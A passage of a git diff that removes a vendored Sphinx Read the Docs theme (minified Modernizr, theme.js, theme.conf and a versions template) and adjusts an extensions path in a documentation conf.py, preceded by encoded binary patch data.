z{U6(Q6W!*0Z!mIs+I>-P|8J5me;Vs-QgJLa01hjt`<yJGW|Cuf;MFmh@HbqDkUlhN
zO#GmsU3hWy4AG)FJbCP_fx{c<epWyFZf)|EF)Y~>-GZf4WXYs8)21~d#k7r)eGs%T
zoTM@mjdY}?b}Wv#jHbE*Kz`zf{tRkAt>Qc*%XqotdNs+gjp4Eba2n*ly|eRwCt$ys
zh~nX>+L&#zD&EyQzPT7a-T4FSO1;b<&IKtjfrbAlppEY|+K)W=f(08x4LSchxPcZ;
z&=#FTV)*|ywEy4&Mhf@OGx`^f5+SB<?;47n4lG~U<~vN%(2=v3Z=f<|s<ee`h-%TY
zwYzuFoO!dh!;i3q!^fLvZ}9);5Oi{<jq6tlnd4Z#MGm5u$yY0vFXC4zI<aO>VpmLE
zI=62U*W>|>NHHU*R5SE{tCw-<<`9FC;fk<jlhS3H@cy3_JpKHG;Vtx~i(=e~v#=l+
z>J1!6_8;hau))x%lmF$sfp7&pD(kD96H)c$S<Rp@m&`Qxjkvq^yeBs>xIVbZT_~A3
zq=}nfv}2Lwr=d1$v7i?b+##9FLkXQFg^h;+o~eoUixID_yyG_rQYZ@APz*{54#pA0
zKa>pR#RSC`{ME;>CYUt;d;KKSEM)0R4s_P8I^L$4pB(rX9NTKK(#8fN{R*CJBK6fj
zg$x42U%7H@19J?CBoA$x)b)Wp621#55p_mM7E4!7(moooafA6ECF-Zt^1qol{;FtA
zId&y37DAx8Lw|yrU@Kx3nm!Z4dtT`gHi}vb$}j&kSBP&eGZ2SUb=dNsnEsur&WEKT
z)j_QnLZ)5KOXZBcM8xs9Gw{W^CwZ=9$>@IzmDQpcEd(2W&^0pw4EE)QCw7R^@bLL;
z`;jKBD-xYQQ2yd6a!O3cQ1R6Y?8$v6opn%hlyAYLdyZByBqP$wt`$?@3G?GqjI-WI
zFr(&N%W-LTiVx^1Ho9CEPW9Z5AOL?Gi|-iXg08;`9bHFOX<@)jh53F(ufGo7X8;-H
z0l)YvMmC@|H(*Hq)5~Lc+wpVu7B-~+C=Jcxyn+Svys26)m~PyI-+W15v=_={`XO5l
zHTRU5<6Q%(;GtU{_)M$_Z@txr^r;MoqLKj!*lxsJ-o*}P>e`FX{w*=TWA)e>mkquq
zR>aObeoL>tvlW0b{B)@!*Q#MRNDVE1iwYTY0jEF7nOpwz-CzpVB)}t%DHnxnklM&j
z{5nE-m_I0{MuyF@X{w^ZXId;$ZzxX3PofMm&=br2L2ZV2EG&HUL-^jmzMYczD$O`Z
z?tN3awcrjqUCwXxK5<+SI?>|?PR!D$t||ghxxLKVr-Z6Dw@24}CgX^Pq}kM_7!5qg
z%Z*9SS}A#;Gxrf6Yzc??{fJaAfRlxa)hoqd(HC=<gf=AkIIcoG=V=;RbmAv%u6WD>
z7O1`LmWceuZ0Io0(jzpSr>;rS>W?x`vcp>fVVJl1r4thU;2&FV>(dCwX&XK8S-%w<
z9R&H4wYnRLSj%_btvh@R$#$Oo0`rfNf}|CtyFYe$!fDRQ{TCn#B2oP}ys`rt2n8pY
zPr*hy=n`c2!FY)-Q6avwsaI|ld#8}B@=2^@?xy>AgA!eO(n7ie<cU_hF>tiyp6B?7
zzEjdImQZsbH{m6+$_l~!C_p?uVA-?$aetr2!i(>2oJ8*9svS$rL?LjaYe}8@!`*TQ
zq#ig1wLj@;6j;-piPNt2DLzE!!*!-C3&;{_h7O&)YC#HO4{G<&N_9zob7B%}yt1NC
zn%`Mm`%Yl-g?yhDxiV;rXh^>0f5my?!*A)t)TMO`3`(N+D9}1!YxNnLK)>@{8hpI5
zD`Qq^)g>Q(N6@}yx=%cj9sNvX@vp)=nn6ncK;7JEiZgd^P2j%)6VR%zgBZHuTvAw6
z>wG|E*}P>alW<G|H7&0;9<g5Vr^gDmfE3Fg=7@aKIbuF43dwp@=y(kTDgBZ%Pqv%J
zmL}QvQPYNSvg8Q6{wQM*S<!A(DC;E9*&QFnW#(IAz$GzO`@LGoLA)<oS})@EqEeuq
zHqi%hX#I^UuM%N+Zw)@%fb;zEo^NS^-IC6L_QtTum|kb8?t1BO3u?WggTD=H*Hg!K
zOq|+1q2IrV<8&Uq3Na{oYS&^LX~?5OYPM`F;iC8YydFNjdeS0*-;cb97uH$j_0M=e
zEk7HGdfHtb3r<(Z;ab(6S!=K{ip6oEApOMW&w1ZM1%-^u(Gpd0aaZxmzoAH~OoFkz
z2dEC;Udcn&{+5uSRz>tK8B}_gAdu^xWy(?U(@8_IgZ{Dg_YfH_<f1UEcKW6meAmTI
zi9p`$NeZtJm3{28py!+Q{MaURhvQy(M+qsPF&td}a#6u9WmM*ELcr=sIzVHt(v>i|
zcEU*ZONGosHYDv&Sy(wA_rub(!|ZW;oHgD9RV~OgubHzEy>?~?K2bePVezxt2%>;P
z-?ra7<4n?x&FYaE?cEGI)-)$tD$5+muBu}U?sPHFKe+hV5?aCTUXV`J=9AHC=o-*Q
zXUuT@<CqAmX`>-0>M!)m+!o+T(oHaeB!5lJUF^EcXIqSUNsvI7$4;|X#{w!e5pUJ_
zak1J+C*mxrK*L>l)}}XDmB5!T;U_ev;jCB9B2`6t)Wa`7=7pam>YPepUHy>E1}-i|
zx=cTq2|P}#Ey5pcy4D8*2oic4dykynV%zxoUkQ#ZS%}$Wd?mL`_nI;G*Tm<wzvA`|
zVZ|gWr+_}WUr`!wOp2bL2X}3(Q67=0G29#e8iZZ`e$1ZFrSZ8}FJ@~Cmgl)-;8=Cs
zPo7;udw#i)U|?W~S|Z{CHX9(0_uJ-`M!Gnmdta5omY5^|_1DPcP?V5J?X0>EF^KJp
z_vh{DE5H7`9RZOzA<X<ghmb2*Gk77~W+-6lgX@$0c2!%CSrh<fAAni)*&m*4sDGpH
zTMHjXS^MvkoIn2)hhG$e-qd0EGWwK)oSdA#C|OmOPD1=21}Fa^3&>ku0+?DJ`Ocwh
zS7jB5f%YHF1(sTSKSuTtezZh?ey859@nDV}*wx8We3^(^>c;D^k{15Qf0gLJdBw#%
zK4AOfnWngIHTLC=dT)#w{3rZBSpE+*HU0+;Htp>`-fzW8*#W`aU5e&a;9&m+kS-Mo

diff --git a/_build/_themes/sphinx_rtd_theme/static/js/modernizr.min.js b/_build/_themes/sphinx_rtd_theme/static/js/modernizr.min.js
deleted file mode 100755
index f65d4797478..00000000000
--- a/_build/_themes/sphinx_rtd_theme/static/js/modernizr.min.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/* Modernizr 2.6.2 (Custom Build) | MIT & BSD
- * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-mq-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load
- */
-;window.Modernizr=function(a,b,c){function D(a){j.cssText=a}function E(a,b){return D(n.join(a+";")+(b||""))}function F(a,b){return typeof a===b}function G(a,b){return!!~(""+a).indexOf(b)}function H(a,b){for(var d in a){var e=a[d];if(!G(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function I(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:F(f,"function")?f.bind(d||b):f}return!1}function J(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return F(b,"string")||F(b,"undefined")?H(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),I(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.6.2",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["&#173;",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b).matches;var d;return y("@media "+b+" { #"+h+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},A=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=F(e[d],"function"),F(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),B={}.hasOwnProperty,C;!F(B,"undefined")&&!F(B.call,"undefined")?C=function(a,b){return B.call(a,b)}:C=function(a,b){return b in a&&F(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return J("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!F(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!J("indexedDB",a)},s.hashchange=function(){return A("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return D("background-color:rgba(150,255,150,.5)"),G(j.backgroundColor,"rgba")},s.hsla=function(){return D("background-color:hsla(120,40%,100%,.5)"),G(j.backgroundColor,"rgba")||G(j.backgroundColor,"hsla")},s.multiplebgs=function(){return D("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return J("backgroundSize")},s.borderimage=function(){return J("borderImage")},s.borderradius=function(){return J("borderRadius")},s.boxshadow=function(){return J("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return E("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return J("animationName")},s.csscolumns=function(){return J("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return D((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),G(j.backgroundImage,"gradient")},s.cssreflections=function(){return J("boxReflect")},s.csstransforms=function(){return!!J("transform")},s.csstransforms3d=function(){var a=!!J("perspective");return a&&"webkitPerspective"in g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return J("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var L in s)C(s,L)&&(x=L.toLowerCase(),e[x]=s[L](),v.push((e[x]?"":"no-")+x));return e.input||K(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)C(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},D(""),i=k=null,function(a,b){function k(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function l(){var a=r.elements;return typeof a=="string"?a.split(" "):a}function m(a){var b=i[a[g]];return b||(b={},h++,a[g]=h,i[h]=b),b}function n(a,c,f){c||(c=b);if(j)return c.createElement(a);f||(f=m(c));var g;return f.cache[a]?g=f.cache[a].cloneNode():e.test(a)?g=(f.cache[a]=f.createElem(a)).cloneNode():g=f.createElem(a),g.canHaveChildren&&!d.test(a)?f.frag.appendChild(g):g}function o(a,c){a||(a=b);if(j)return a.createDocumentFragment();c=c||m(a);var d=c.frag.cloneNode(),e=0,f=l(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function p(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return r.shivMethods?n(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+l().join().replace(/\w+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(r,b.frag)}function q(a){a||(a=b);var c=m(a);return r.shivCSS&&!f&&!c.hasCSS&&(c.hasCSS=!!k(a,"article,aside,figcaption,figure,footer,header,hgroup,nav,section{display:block}mark{background:#FF0;color:#000}")),j||p(a,c),a}var c=a.html5||{},d=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,e=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,f,g="_html5shiv",h=0,i={},j;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",f="hidden"in a,j=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){f=!0,j=!0}})();var r={elements:c.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video",shivCSS:c.shivCSS!==!1,supportsUnknownElements:j,shivMethods:c.shivMethods!==!1,type:"default",shivDocument:q,createElement:n,createDocumentFragment:o};a.html5=r,q(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.mq=z,e.hasEvent=A,e.testProp=function(a){return H([a])},e.testAllProps=J,e.testStyles=y,e.prefixed=function(a,b,c){return b?J(a,b,c):J(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};
diff --git a/_build/_themes/sphinx_rtd_theme/static/js/theme.js b/_build/_themes/sphinx_rtd_theme/static/js/theme.js
deleted file mode 100755
index e2181fa60a4..00000000000
--- a/_build/_themes/sphinx_rtd_theme/static/js/theme.js
+++ /dev/null
@@ -1,3 +0,0 @@
-/* sphinx_rtd_theme version 0.4.0 | MIT license */
-/* Built 20180606 11:06 */
-require=function n(e,i,t){function o(s,a){if(!i[s]){if(!e[s]){var l="function"==typeof require&&require;if(!a&&l)return l(s,!0);if(r)return r(s,!0);var c=new Error("Cannot find module '"+s+"'");throw c.code="MODULE_NOT_FOUND",c}var u=i[s]={exports:{}};e[s][0].call(u.exports,function(n){var i=e[s][1][n];return o(i||n)},u,u.exports,n,e,i,t)}return i[s].exports}for(var r="function"==typeof require&&require,s=0;s<t.length;s++)o(t[s]);return o}({"sphinx-rtd-theme":[function(n,e,i){var jQuery="undefined"!=typeof window?window.jQuery:n("jquery");e.exports.ThemeNav={navBar:null,win:null,winScroll:!1,winResize:!1,linkScroll:!1,winPosition:0,winHeight:null,docHeight:null,isRunning:!1,enable:function(n){var e=this;void 0===n&&(n=!0),e.isRunning||(e.isRunning=!0,jQuery(function(i){e.init(i),e.reset(),e.win.on("hashchange",e.reset),n&&e.win.on("scroll",function(){e.linkScroll||e.winScroll||(e.winScroll=!0,requestAnimationFrame(function(){e.onScroll()}))}),e.win.on("resize",function(){e.winResize||(e.winResize=!0,requestAnimationFrame(function(){e.onResize()}))}),e.onResize()}))},enableSticky:function(){this.enable(!0)},init:function(n){n(document);var e=this;this.navBar=n("div.wy-side-scroll:first"),this.win=n(window),n(document).on("click","[data-toggle='wy-nav-top']",function(){n("[data-toggle='wy-nav-shift']").toggleClass("shift"),n("[data-toggle='rst-versions']").toggleClass("shift")}).on("click",".wy-menu-vertical .current ul li a",function(){var i=n(this);n("[data-toggle='wy-nav-shift']").removeClass("shift"),n("[data-toggle='rst-versions']").toggleClass("shift"),e.toggleCurrent(i),e.hashChange()}).on("click","[data-toggle='rst-current-version']",function(){n("[data-toggle='rst-versions']").toggleClass("shift-up")}),n("table.docutils:not(.field-list,.footnote,.citation)").wrap("<div class='wy-table-responsive'></div>"),n("table.docutils.footnote").wrap("<div class='wy-table-responsive footnote'></div>"),n("table.docutils.citation").wrap("<div class='wy-table-responsive citation'></div>"),n(".wy-menu-vertical ul").not(".simple").siblings("a").each(function(){var i=n(this);expand=n('<span class="toctree-expand"></span>'),expand.on("click",function(n){return e.toggleCurrent(i),n.stopPropagation(),!1}),i.prepend(expand)})},reset:function(){var n=encodeURI(window.location.hash)||"#";try{var e=$(".wy-menu-vertical"),i=e.find('[href="'+n+'"]');if(0===i.length){var t=$('.document [id="'+n.substring(1)+'"]').closest("div.section");0===(i=e.find('[href="#'+t.attr("id")+'"]')).length&&(i=e.find('[href="#"]'))}i.length>0&&($(".wy-menu-vertical .current").removeClass("current"),i.addClass("current"),i.closest("li.toctree-l1").addClass("current"),i.closest("li.toctree-l1").parent().addClass("current"),i.closest("li.toctree-l1").addClass("current"),i.closest("li.toctree-l2").addClass("current"),i.closest("li.toctree-l3").addClass("current"),i.closest("li.toctree-l4").addClass("current"))}catch(o){console.log("Error expanding nav for anchor",o)}},onScroll:function(){this.winScroll=!1;var n=this.win.scrollTop(),e=n+this.winHeight,i=this.navBar.scrollTop()+(n-this.winPosition);n<0||e>this.docHeight||(this.navBar.scrollTop(i),this.winPosition=n)},onResize:function(){this.winResize=!1,this.winHeight=this.win.height(),this.docHeight=$(document).height()},hashChange:function(){this.linkScroll=!0,this.win.one("hashchange",function(){this.linkScroll=!1})},toggleCurrent:function(n){var e=n.closest("li");e.siblings("li.current").removeClass("current"),e.siblings().find("li.current").removeClass("current"),e.find("> ul li.current").removeClass("current"),e.toggleClass("current")}},"undefined"!=typeof window&&(window.SphinxRtdTheme={Navigation:e.exports.ThemeNav,StickyNav:e.exports.ThemeNav}),function(){for(var n=0,e=["ms","moz","webkit","o"],i=0;i<e.length&&!window.requestAnimationFrame;++i)window.requestAnimationFrame=window[e[i]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[i]+"CancelAnimationFrame"]||window[e[i]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e,i){var t=(new Date).getTime(),o=Math.max(0,16-(t-n)),r=window.setTimeout(function(){e(t+o)},o);return n=t+o,r}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(n){clearTimeout(n)})}()},{jquery:"jquery"}]},{},["sphinx-rtd-theme"]);
\ No newline at end of file
diff --git a/_build/_themes/sphinx_rtd_theme/theme.conf b/_build/_themes/sphinx_rtd_theme/theme.conf
deleted file mode 100755
index 5d80641a1fb..00000000000
--- a/_build/_themes/sphinx_rtd_theme/theme.conf
+++ /dev/null
@@ -1,17 +0,0 @@
-[theme]
-inherit = basic
-stylesheet = css/theme.css
-pygments_style = default
-
-[options]
-canonical_url =
-analytics_id =
-collapse_navigation = True
-sticky_navigation = True
-navigation_depth = 4
-includehidden = True
-titles_only = 
-logo_only =
-display_version = True
-prev_next_buttons_location = bottom
-style_external_links = False
diff --git a/_build/_themes/sphinx_rtd_theme/versions.html b/_build/_themes/sphinx_rtd_theme/versions.html
deleted file mode 100755
index 4d78287ade9..00000000000
--- a/_build/_themes/sphinx_rtd_theme/versions.html
+++ /dev/null
@@ -1,37 +0,0 @@
-{% if READTHEDOCS %}
-{# Add rst-badge after rst-versions for small badge style. #}
-  <div class="rst-versions" data-toggle="rst-versions" role="note" aria-label="versions">
-    <span class="rst-current-version" data-toggle="rst-current-version">
-      <span class="fa fa-book"> Read the Docs</span>
-      v: {{ current_version }}
-      <span class="fa fa-caret-down"></span>
-    </span>
-    <div class="rst-other-versions">
-      <dl>
-        <dt>{{ _('Versions') }}</dt>
-        {% for slug, url in versions %}
-          <dd><a href="{{ url }}">{{ slug }}</a></dd>
-        {% endfor %}
-      </dl>
-      <dl>
-        <dt>{{ _('Downloads') }}</dt>
-        {% for type, url in downloads %}
-          <dd><a href="{{ url }}">{{ type }}</a></dd>
-        {% endfor %}
-      </dl>
-      <dl>
-        <dt>{{ _('On Read the Docs') }}</dt>
-          <dd>
-            <a href="//{{ PRODUCTION_DOMAIN }}/projects/{{ slug }}/?fromdocs={{ slug }}">{{ _('Project Home') }}</a>
-          </dd>
-          <dd>
-            <a href="//{{ PRODUCTION_DOMAIN }}/builds/{{ slug }}/?fromdocs={{ slug }}">{{ _('Builds') }}</a>
-          </dd>
-      </dl>
-      <hr/>
-      {% trans %}Free document hosting provided by <a href="http://www.readthedocs.org">Read the Docs</a>.{% endtrans %}
-
-    </div>
-  </div>
-{% endif %}
-
diff --git a/_build/conf.py b/_build/conf.py
index c6d4bbd3250..ffa92d30604 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -16,11 +16,12 @@
 # If extensions (or modules to document with autodoc) are in another directory,
 # add these directories to sys.path here. If the directory is relative to the
 # documentation root, use os.path.abspath to make it absolute, like shown here.
-sys.path.append(os.path.abspath('_themes/_exts'))
+sys.path.append(os.path.abspath('_exts'))
 
